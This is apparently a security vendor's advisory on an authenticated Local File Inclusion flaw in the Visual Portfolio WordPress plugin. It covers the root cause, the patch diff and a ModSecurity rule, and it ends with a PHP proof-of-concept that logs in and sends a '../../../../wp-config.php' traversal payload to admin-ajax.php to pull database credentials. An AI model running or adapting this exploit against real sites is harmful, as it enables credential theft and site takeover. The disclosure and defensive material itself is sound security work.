Atomic Edge analysis of CVE-2026-32537:
The Visual Portfolio, Photo Gallery & Post Grid WordPress plugin, versions up to and including 3.5.1, contains an authenticated Local File Inclusion vulnerability. The flaw resides in the template inclusion mechanism, allowing attackers with subscriber-level access or higher to include arbitrary PHP files from the server. This vulnerability has a CVSS score of 7.5.
The root cause is insufficient path validation in the `include_template` function within the `class-templates.php` file. Before the patch, the function accepted a user-controlled `$template_name` parameter and used it directly to construct a file path via `locate_template` and `apply_filters`. The function then performed a `file_exists` check and included the file without verifying the resolved path was within an allowed directory. This allowed path traversal sequences in the `$template_name` to escape the intended template directories.
An attacker exploits this by sending a crafted request to a WordPress AJAX or REST endpoint that ultimately calls `Visual_PortfolioTemplates::include_template`. The payload would be a `template_name` parameter containing directory traversal sequences like `../../../../wp-config.php`. The plugin’s `visual_portfolio` AJAX actions or block rendering functions could serve as the entry point, passing unsanitized user input to the vulnerable function.
The patch implements a three-layer defense. Layer 1 adds a `validate_file()` check on the `$template_name` parameter in both `include_template` and `find_template_styles` functions to reject path traversal sequences early. Layer 2 introduces a new `sanitize_icons_selector` method in `class-security.php` that applies strict allowlist validation for icon selector controls, also using `validate_file()`. Layer 3 adds an `is_allowed_template_path` method that resolves the final template path with `realpath()` and checks it against a strict allowlist of plugin, theme, and filtered directories before inclusion.
Successful exploitation leads to Local File Inclusion, enabling an attacker to read sensitive files like `wp-config.php` containing database credentials. If the attacker can upload a file with a benign extension (like an image) containing PHP code to a known location, inclusion of that file results in arbitrary code execution. This bypasses access controls and can lead to full site compromise.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/visual-portfolio/class-visual-portfolio.php
+++ b/visual-portfolio/class-visual-portfolio.php
@@ -2,7 +2,7 @@
/**
* Plugin Name: Visual Portfolio, Posts & Image Gallery
* Description: Modern gallery and portfolio plugin with advanced layouts editor. Clean and powerful gallery styles with enormous settings in the Gutenberg block.
- * Version: 3.5.1
+ * Version: 3.5.2
* Plugin URI: https://www.visualportfolio.com/?utm_source=wordpress.org&utm_medium=readme&utm_campaign=byline
* Author: Visual Portfolio Team
* Author URI: https://www.visualportfolio.com/?utm_source=wordpress.org&utm_medium=readme&utm_campaign=byline
@@ -18,7 +18,7 @@
}
if ( ! defined( 'VISUAL_PORTFOLIO_VERSION' ) ) {
- define( 'VISUAL_PORTFOLIO_VERSION', '3.5.1' );
+ define( 'VISUAL_PORTFOLIO_VERSION', '3.5.2' );
}
if ( ! class_exists( 'Visual_Portfolio' ) ) :
--- a/visual-portfolio/classes/class-security.php
+++ b/visual-portfolio/classes/class-security.php
@@ -249,6 +249,55 @@
}
/**
+ * Sanitize icons selector attribute.
+ *
+ * Icons selector options are usually provided as an indexed array where each
+ * option contains a `value` key, unlike regular select controls that may use
+ * associative options by key.
+ *
+ * @param int|float|string $attribute - Unclear Selector Attribute.
+ * @param array $control - Array of control parameters.
+ * @return int|float|string
+ */
+ public static function sanitize_icons_selector( $attribute, $control ) {
+ $valid_options = array();
+
+ if ( isset( $control['options'] ) && is_array( $control['options'] ) ) {
+ foreach ( $control['options'] as $option_key => $option_data ) {
+ if ( is_array( $option_data ) && isset( $option_data['value'] ) ) {
+ $valid_options[] = (string) $option_data['value'];
+ } else {
+ $valid_options[] = (string) $option_key;
+ }
+ }
+ }
+
+ $attribute_string = is_bool( $attribute ) ? ( $attribute ? 'true' : 'false' ) : (string) $attribute;
+
+ // Reject path traversal sequences regardless of control options state.
+ if ( validate_file( $attribute_string ) !== 0 ) {
+ $attribute = self::reset_control_attribute_to_default( $attribute, $control );
+ }
+
+ // Apply strict allowlist only when options are available.
+ if ( ! empty( $valid_options ) && ! in_array( $attribute_string, $valid_options, true ) ) {
+ $attribute = self::reset_control_attribute_to_default( $attribute, $control );
+ }
+
+ if ( is_numeric( $attribute ) ) {
+ if ( false === strpos( $attribute, '.' ) ) {
+ $attribute = intval( $attribute );
+ } else {
+ $attribute = (float) $attribute;
+ }
+ } else {
+ $attribute = sanitize_text_field( wp_unslash( $attribute ) );
+ }
+
+ return $attribute;
+ }
+
+ /**
* Reset the value of the control attribute to the default value.
* Also check the attribute for a boolean value,
* And if the default value contains a string like 'true' or 'false',
@@ -473,6 +522,9 @@
$attributes[ $key ] = self::sanitize_hidden( $attribute );
break;
case 'icons_selector':
+ // Layer 2: Validate against allowed options (same as 'select' type).
+ $attributes[ $key ] = self::sanitize_icons_selector( $attributes[ $key ], $controls[ $key ] );
+ break;
case 'text':
case 'radio':
case 'align':
--- a/visual-portfolio/classes/class-templates.php
+++ b/visual-portfolio/classes/class-templates.php
@@ -16,6 +16,11 @@
* @param array $args args for template.
*/
public static function include_template( $template_name, $args = array() ) {
+ // Layer 1: Reject template names containing path traversal sequences.
+ if ( validate_file( $template_name ) !== 0 ) {
+ return;
+ }
+
// Allow 3rd party plugin filter template args from their plugin.
$args = apply_filters( 'vpf_include_template_args', $args, $template_name );
@@ -41,17 +46,84 @@
$template = apply_filters( 'vpf_include_template', $template, $template_name, $args );
if ( file_exists( $template ) ) {
- include $template;
+ // Layer 3: Verify the resolved path is within allowed directories.
+ $real_path = realpath( $template );
+
+ if ( $real_path && self::is_allowed_template_path( $real_path ) ) {
+ include $template;
+ }
}
}
/**
+ * Check if a resolved file path is within allowed template directories.
+ *
+ * Layer 3: Prevents inclusion of files outside expected template directories,
+ * even if path traversal bypasses other checks.
+ *
+ * @param string $real_path The resolved (realpath) file path to check.
+ * @return bool True if the path is within an allowed directory.
+ */
+ public static function is_allowed_template_path( $real_path ) {
+ $normalized_real_path = wp_normalize_path( $real_path );
+
+ if ( ! $normalized_real_path ) {
+ return false;
+ }
+
+ $allowed_dirs = array(
+ visual_portfolio()->plugin_path . 'templates/',
+ get_stylesheet_directory() . '/visual-portfolio/',
+ get_template_directory() . '/visual-portfolio/',
+ );
+
+ if ( visual_portfolio()->pro_plugin_path ) {
+ $allowed_dirs[] = visual_portfolio()->pro_plugin_path . 'templates/';
+ }
+
+ /**
+ * Filters the list of allowed template directories.
+ *
+ * This is used by the Layer 3 realpath() inclusion guard.
+ * Add your plugin directory here if you return a custom absolute template
+ * path via the `vpf_include_template` filter.
+ *
+ * @since 3.5.2
+ *
+ * @param array $allowed_dirs Allowed directories (absolute paths).
+ * @param string $real_path Resolved real path to the included template.
+ */
+ $allowed_dirs = (array) apply_filters( 'vpf_allowed_template_dirs', $allowed_dirs, $real_path );
+
+ // Resolve all allowed directories to their real paths.
+ $allowed_dirs = array_filter( array_map( 'realpath', $allowed_dirs ) );
+
+ foreach ( $allowed_dirs as $dir ) {
+ $normalized_dir = trailingslashit( wp_normalize_path( $dir ) );
+
+ if ( strpos( $normalized_real_path, $normalized_dir ) === 0 ) {
+ return true;
+ }
+ }
+
+ return false;
+ }
+
+ /**
* Find css template file
*
* @param string $template_name file name.
* @return string
*/
public static function find_template_styles( $template_name ) {
+ // Layer 1: Reject template names containing path traversal sequences.
+ if ( validate_file( $template_name ) !== 0 ) {
+ return array(
+ 'path' => '',
+ 'version' => '',
+ );
+ }
+
$template = '';
$template_version = '';
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-32537
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:10032537,phase:2,deny,status:403,chain,msg:'CVE-2026-32537 via Visual Portfolio AJAX - Local File Inclusion',severity:'CRITICAL',tag:'CVE-2026-32537',tag:'WordPress',tag:'Visual-Portfolio'"
SecRule ARGS_POST:action "@rx ^(visual_portfolio|vpf_|vp_)" "chain"
SecRule ARGS_POST:template_name "@rx (../|x00)"
"t:none,t:urlDecodeUni,t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-32537 - Visual Portfolio, Photo Gallery & Post Grid <= 3.5.1 - Authenticated (Subscriber+) Local File Inclusion
<?php
$target_url = 'https://target-site.com';
$username = 'subscriber';
$password = 'password';
// Step 1: Authenticate to obtain WordPress cookies and nonce.
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
// Step 2: Identify a vulnerable endpoint. This example targets a Visual Portfolio AJAX action.
// The exact action name may vary. Research indicates actions like 'visual_portfolio' are common.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$payload = array(
'action' => 'visual_portfolio', // This is a placeholder; the actual vulnerable action must be identified.
'template_name' => '../../../../wp-config.php' // Path traversal to include the WordPress config file.
);
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
$response = curl_exec($ch);
// Step 3: Check response for evidence of successful file inclusion.
if (strpos($response, 'DB_NAME') !== false || strpos($response, 'define') !== false) {
echo "[+] Vulnerability likely exploited. Check response for database credentials.n";
echo substr($response, 0, 2000); // Output first 2000 chars of response.
} else {
echo "[-] Exploit may have failed. The target may be patched or the action name incorrect.n";
echo "Response length: " . strlen($response) . "n";
}
curl_close($ch);
?>